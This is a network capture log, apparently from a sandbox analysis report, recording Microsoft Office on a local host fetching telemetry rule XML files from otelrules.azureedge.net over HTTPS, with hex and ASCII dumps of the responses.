2024-10-29 03:18:16 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:16 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:16 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031816Z-16849878b78fssff8btnns3b14000000065000000000m8yg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:16 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:16 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: fbe9264b-c01e-0046-04f3-242db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031816Z-r197bdfb6b4hsj5bywyqk9r2xw000000078g00000000n0v5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:16 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:16 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 44c445c3-601e-003e-0f9c-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031816Z-15b8d89586fbmg6qpd9yf8zhm000000000t000000000gqpw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:16 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:16 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031816Z-16849878b78fkwcjkpn19c5dsn00000004x000000000gmh8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:16 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f493011a-501e-008f-5f2c-289054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031816Z-15b8d89586ff5l62aha9080wv0000000075g00000000f9ke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:17 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:17 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031817Z-16849878b78hh85qc40uyr8sc8000000068g000000007xg8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:17 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 80bd6f28-d01e-002b-3d65-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031817Z-r197bdfb6b4c8q4qvwwy2byzsw000000068g00000000699t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:17 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:17 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031817Z-16849878b78fkwcjkpn19c5dsn00000004v000000000s4xe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:17 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:17 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4113dc96-c01e-008e-5a2a-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031817Z-16849878b78qf2gleqhwczd21s000000061000000000r928 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:17 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:17 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031817Z-16849878b78qfbkc5yywmsbg0c00000005r0000000001smm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:17 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:18 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031818Z-16849878b78qg9mlz11wgn0wcc00000005m0000000004v2s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
